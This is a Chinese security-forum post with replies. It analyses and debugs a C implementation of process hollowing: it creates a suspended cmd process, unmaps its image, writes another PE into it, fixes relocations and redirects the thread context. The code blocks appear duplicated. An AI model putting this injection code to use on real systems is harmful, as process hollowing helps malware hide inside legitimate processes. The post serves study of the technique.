首页
社区
课程
招聘
[分享]进程替换技术之源码分析与调试
发表于: 2021-1-1 20:41 8048

[分享]进程替换技术之源码分析与调试

2021-1-1 20:41
8048

2021年第一篇技术分析文章,有不足之处还请大家多多包涵。

通过对API的调用,实现文件不落地的一种技术。需要编译选项/DYNAMICBASE or /FIXED 其中一个为NO 目的是取消生成重定位表,这里已/DYNAMICBASE为例子。

1609481206895

测试代码来源 github,HelloWorld和ProcessHollowing两个进程。

ProcessHollowing通过main函数代码可以发现CreateHollowedProcess函数是整个进程替换的核心,对其进行重点学习。

由于要进行进程替换,所以得先启动一个进程然后将这个进程""挖空",并填入需要写入的另外一个进程的内容,最后跳转到执行点执行,就完成了整个进程替换的过程。

通过前半部分的代码可以得知目前正在获取的cmd的进程信息,并且CreateProcessA的第六个参数决定了该进程将以挂起的形式创建。

通过PROCESS_INFORMATION结构中的hProcess来获取进程句柄,通过PEB结构获取进程的ImageBaseAddress结构。

PEB结构如下所示,由于PEB结构较大只留下部分结构信息。

接下来使用CreateFileA的第二个参数GENERIC_READ,来判断获取HelloWorld文件是否存在。如果存在则获取文件大小并分配内存将其加载到内存中,pBuffer就是这段内存的头指针。

通过自写的GetLoadedImage来完成镜像文件的装载。

来看一下具体的实现过程,通过DbgHelp提供的LOADED_IMAGE函数就能够完成对内存镜像文件的解析。

LOADED_IMAGE结构的具体定义如下。

紧接着进行相关节的取消映射,方便之后对该节进行相关写入操作。

接着通过VirtualAllocEx在cmd进程中分配内存,内存的起始地址有第二个参数决定,这样就完成了相关内存的分配过程。

由于复制的内容大同小异,这里针对.reloc也就是重定位节进行一个重点讲述,也是本次内容中最重要的部分。

DataDirectory是一个结构体数组,结构体由VirtualAddress和Size组成。

数组包含以下15种,这里用到的就是IMAGE_DIRECTORY_ENTRY_BASERELOC,即重定位表。

其中CountRelocationEntries是一个宏,用于计算重定位的个数。

除此之外PBASE_RELOCATION_ENTRY结构如下所示,前12位表示偏移量,后4位表示类型。

接下来的部分会涉及到线程执行劫持,利用OpenThread打开目标线程,在获取目标线程的句柄后,恶意软件通过调用SuspendThread来将线程置于挂起模式。调用VirtualAllocEx和WriteProcessMemory来分配内存并执行代码注入的操作。然后调用GetThreadContext和GetThreadContext获取并设置线程的上下文,以将EIP寄存器设置到要执行恶意代码的地址,达到重启线程的作用。。

注意的是pContext->Eax = dwEntrypoint;利用某个寄存器来完成入口点的赋值,利用SetThreadContext完成上下文设置,最后通过ResumeThread执行,代码如下所示。

自此,整个代码流程就讲解完成如有什么疑问,可自行查询相关资料或者留言告知我。

接下来进行调试演示,通过调试发现Creating process的进程是cmd,并且为Suspended,符合之前的描述过程。

1609487103104

获取到cmd相关结构信息。

1609487237000

获取重定位的目标差。

1609487875703

由于HelloWorld.exe本身没有重定位表,所以调试的时候一直没有进入相关函数。

这里自己创建一个dll来替代HelloWorld。

1609502777237

通过调试发现dwEntryCount值为136,目前还没有搞明白是什么意思。

1609503039805

最后通过打印,发现一共找到了148个重定位函数,有些不可思议。

1609502102873

借助studype来看一下重定位表的情况,0x88+0xE=0x96=226,比输出的148大,通过内容发现有些是00,所以我选择相信有148个需要重定位的函数。

1609502260984

新的程序入口点为0xABB829A即将赋值给eax+0xb0这里。

1609502376011

通过另一个调试器附件进程,如果附加失败则在CreateProcess之后就附加即可。

1609502565734

成功弹出MessageBox,整体调试完毕。

1609503810813

 
涉及的API使用情况和相关重定位的计算方式。
CreateProcess               //以CREATE_SUSPENDED挂起状态创建进程
ZwUnmapviewOfSection       //释放目标进程内存,解除内存映射
VirtualAllocEx             //为恶意代码分配新空间
WriteProcessMenory         //写入数据(文件头)
for(i=0;i<NumberOfSection;i++)
    WriteProcessMenory     //写入节区数据
SetThreadContext            //设置线程执行位置
ResumeThread               //重新启动主线程
 
重定位表存储表达式=2*n+4+4 字节
第一个4为VirtualAddress
第二个4为SizeofBlock
n为重定位表个数
重定位表主要修改FF15/FF25类跳转和涉及取内存地址的区域
涉及的API使用情况和相关重定位的计算方式。
CreateProcess               //以CREATE_SUSPENDED挂起状态创建进程
ZwUnmapviewOfSection       //释放目标进程内存,解除内存映射
VirtualAllocEx             //为恶意代码分配新空间
WriteProcessMenory         //写入数据(文件头)
for(i=0;i<NumberOfSection;i++)
    WriteProcessMenory     //写入节区数据
SetThreadContext            //设置线程执行位置
ResumeThread               //重新启动主线程
 
重定位表存储表达式=2*n+4+4 字节
第一个4为VirtualAddress
第二个4为SizeofBlock
n为重定位表个数
重定位表主要修改FF15/FF25类跳转和涉及取内存地址的区域
 
int _tmain(int argc, _TCHAR* argv[])
{
    char* pPath = new char[MAX_PATH];
    GetModuleFileNameA(0, pPath, MAX_PATH);
    pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
    strcat(pPath, "helloworld.exe");
 
    CreateHollowedProcess
    (
        "cmd",
        pPath
    );
    system("pause");
    VirtualFreeEx(
        pProcessInfo->hProcess,
        pPEB->ImageBaseAddress,
        pSourceHeaders->OptionalHeader.SizeOfImage,
        MEM_DECOMMIT);
    TerminateProcess(pProcessInfo->hProcess, 0);
    delete pStartupInfo;
    delete pProcessInfo;
    delete pBuffer;
    delete pContext;
    delete []pPath;
 
    return 0;
}
int _tmain(int argc, _TCHAR* argv[])
{
    char* pPath = new char[MAX_PATH];
    GetModuleFileNameA(0, pPath, MAX_PATH);
    pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
    strcat(pPath, "helloworld.exe");
 
    CreateHollowedProcess
    (
        "cmd",
        pPath
    );
    system("pause");
    VirtualFreeEx(
        pProcessInfo->hProcess,
        pPEB->ImageBaseAddress,
        pSourceHeaders->OptionalHeader.SizeOfImage,
        MEM_DECOMMIT);
    TerminateProcess(pProcessInfo->hProcess, 0);
    delete pStartupInfo;
    delete pProcessInfo;
    delete pBuffer;
    delete pContext;
    delete []pPath;
 
    return 0;
}
 
 
pStartupInfo = new STARTUPINFOA();
    pProcessInfo = new PROCESS_INFORMATION();
    CreateProcessA
    (
        0,
        pDestCmdLine, //cmd       
        0,
        0,
        0,
        CREATE_SUSPENDED,
        0,
        0,
        pStartupInfo,
        pProcessInfo
    );
 
    if (!pProcessInfo->hProcess)
    {
        printf("Error creating process\r\n");
 
        return;
    }
 
    pPEB = ReadRemotePEB(pProcessInfo->hProcess);
 
    PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);
 
    printf("Opening source image\r\n");
pStartupInfo = new STARTUPINFOA();
    pProcessInfo = new PROCESS_INFORMATION();
    CreateProcessA
    (
        0,
        pDestCmdLine, //cmd       
        0,
        0,
        0,
        CREATE_SUSPENDED,
        0,
        0,
        pStartupInfo,
        pProcessInfo
    );
 
    if (!pProcessInfo->hProcess)
    {
        printf("Error creating process\r\n");
 
        return;
    }
 
    pPEB = ReadRemotePEB(pProcessInfo->hProcess);
 
    PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);
 
    printf("Opening source image\r\n");
typedef struct _PEB {
    BOOLEAN                 InheritedAddressSpace;
    BOOLEAN                 ReadImageFileExecOptions;
    BOOLEAN                 BeingDebugged;
    BOOLEAN                 Spare;
    HANDLE                  Mutant;
    PVOID                   ImageBaseAddress;
    PPEB_LDR_DATA           LoaderData;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID                   SubSystemData;
    PVOID                   ProcessHeap;
    PVOID                   FastPebLock;
    PPEBLOCKROUTINE         FastPebLockRoutine;
    PPEBLOCKROUTINE         FastPebUnlockRoutine;
    ······
}
typedef struct _PEB {
    BOOLEAN                 InheritedAddressSpace;
    BOOLEAN                 ReadImageFileExecOptions;
    BOOLEAN                 BeingDebugged;
    BOOLEAN                 Spare;
    HANDLE                  Mutant;
    PVOID                   ImageBaseAddress;
    PPEB_LDR_DATA           LoaderData;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID                   SubSystemData;
    PVOID                   ProcessHeap;
    PVOID                   FastPebLock;
    PPEBLOCKROUTINE         FastPebLockRoutine;
    PPEBLOCKROUTINE         FastPebUnlockRoutine;
    ······
}
HANDLE hFile = CreateFileA
    (
        pSourceFile, //HelloWorld文件的位置
        GENERIC_READ,
        0,
        0,
        OPEN_ALWAYS,
        0,
        0
    );
 
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Error opening %s\r\n", pSourceFile);
        return;
    }
 
    dwSize = GetFileSize(hFile, 0);
    pBuffer = new BYTE[dwSize];
    DWORD dwBytesRead = 0;
    ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);
HANDLE hFile = CreateFileA
    (
        pSourceFile, //HelloWorld文件的位置
        GENERIC_READ,
        0,
        0,
        OPEN_ALWAYS,
        0,
        0
    );
 
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Error opening %s\r\n", pSourceFile);
        return;
    }
 
    dwSize = GetFileSize(hFile, 0);
    pBuffer = new BYTE[dwSize];
    DWORD dwBytesRead = 0;
    ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);
PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);//载入镜像
pSourceHeaders = GetNTHeaders((DWORD)pBuffer);//获取NT结构
PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);//载入镜像
pSourceHeaders = GetNTHeaders((DWORD)pBuffer);//获取NT结构
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwImageBase;
    PIMAGE_NT_HEADERS32 pNTHeaders = GetNTHeaders(dwImageBase);
 
    PLOADED_IMAGE pImage = new LOADED_IMAGE();
 
    pImage->FileHeader =
        (PIMAGE_NT_HEADERS32)(dwImageBase + pDosHeader->e_lfanew);
 
    pImage->NumberOfSections =
        pImage->FileHeader->FileHeader.NumberOfSections;
 
    pImage->Sections =
        (PIMAGE_SECTION_HEADER)(dwImageBase + pDosHeader->e_lfanew +
        sizeof(IMAGE_NT_HEADERS32));
 
    return pImage;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwImageBase;
    PIMAGE_NT_HEADERS32 pNTHeaders = GetNTHeaders(dwImageBase);
 
    PLOADED_IMAGE pImage = new LOADED_IMAGE();
 
    pImage->FileHeader =
        (PIMAGE_NT_HEADERS32)(dwImageBase + pDosHeader->e_lfanew);
 
    pImage->NumberOfSections =
        pImage->FileHeader->FileHeader.NumberOfSections;
 
    pImage->Sections =
        (PIMAGE_SECTION_HEADER)(dwImageBase + pDosHeader->e_lfanew +
        sizeof(IMAGE_NT_HEADERS32));
 
    return pImage;
typedef struct _LOADED_IMAGE {
    PSTR                  ModuleName;
    HANDLE                hFile;
    PUCHAR                MappedAddress;
#ifdef _IMAGEHLP64
    PIMAGE_NT_HEADERS64   FileHeader;
#else
    PIMAGE_NT_HEADERS32   FileHeader;
#endif
    PIMAGE_SECTION_HEADER LastRvaSection;
    ULONG                 NumberOfSections;
    PIMAGE_SECTION_HEADER Sections;
    ULONG                 Characteristics;
    BOOLEAN               fSystemImage;
    BOOLEAN               fDOSImage;
    BOOLEAN               fReadOnly;
    UCHAR                 Version;
    LIST_ENTRY            Links;
    ULONG                 SizeOfImage;
} LOADED_IMAGE, *PLOADED_IMAGE;
typedef struct _LOADED_IMAGE {
    PSTR                  ModuleName;
    HANDLE                hFile;
    PUCHAR                MappedAddress;
#ifdef _IMAGEHLP64
    PIMAGE_NT_HEADERS64   FileHeader;
#else
    PIMAGE_NT_HEADERS32   FileHeader;
#endif
    PIMAGE_SECTION_HEADER LastRvaSection;
    ULONG                 NumberOfSections;
    PIMAGE_SECTION_HEADER Sections;
    ULONG                 Characteristics;
    BOOLEAN               fSystemImage;
    BOOLEAN               fDOSImage;
    BOOLEAN               fReadOnly;
    UCHAR                 Version;
    LIST_ENTRY            Links;
    ULONG                 SizeOfImage;
} LOADED_IMAGE, *PLOADED_IMAGE;
printf("Unmapping destination section\r\n");
 
HMODULE hNTDLL = GetModuleHandleA("ntdll");
 
FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
 
_NtUnmapViewOfSection NtUnmapViewOfSection =
    (_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
 
DWORD dwResult = NtUnmapViewOfSection
(
    pProcessInfo->hProcess,
    pPEB->ImageBaseAddress
);
 
if (dwResult)
{
    printf("Error unmapping section\r\n");
    return;
}
printf("Unmapping destination section\r\n");
 
HMODULE hNTDLL = GetModuleHandleA("ntdll");
 
FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
 
_NtUnmapViewOfSection NtUnmapViewOfSection =
    (_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
 
DWORD dwResult = NtUnmapViewOfSection
(
    pProcessInfo->hProcess,
    pPEB->ImageBaseAddress
);
 
if (dwResult)
{
    printf("Error unmapping section\r\n");
    return;
}
pRemoteImage = VirtualAllocEx //如果errorcode=487 则可能是本程序编译选项/DYNAMICBASE未设置为NO
    (
        pProcessInfo->hProcess,
        pPEB->ImageBaseAddress,
        pSourceHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
 
    if (!pRemoteImage)
    {
        printf("VirtualAllocEx call failed error=%d\r\n",GetLastError());
        return;
    }
 
    DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress -
        pSourceHeaders->OptionalHeader.ImageBase;
 
    printf
    (
        "Source image base: 0x%p\r\n"
        "Destination image base: 0x%p\r\n",
        pSourceHeaders->OptionalHeader.ImageBase,
        pPEB->ImageBaseAddress
    );
pRemoteImage = VirtualAllocEx //如果errorcode=487 则可能是本程序编译选项/DYNAMICBASE未设置为NO
    (
        pProcessInfo->hProcess,
        pPEB->ImageBaseAddress,

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-1-4 09:20 被Risks编辑 ,原因: 修改帖子主题
收藏
免费 2
支持
分享
最新回复 (5)
雪    币: 477
活跃值: (1412)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
这是不是就是memorypeloader
2021-1-2 02:43
0
雪    币: 5430
活跃值: (3848)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
3
mb_foyotena 这是不是就是memorypeloader
相似吧,都是内存加载pe然后解析
2021-1-2 10:16
0
雪    币: 300
活跃值: (2477)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
nice
2021-1-4 08:41
0
雪    币: 2
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
nice
2021-1-4 09:45
0
雪    币: 355
活跃值: (435)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6

感谢分享
2021-1-5 10:38
0
游客
登录 | 注册 方可回帖
返回
//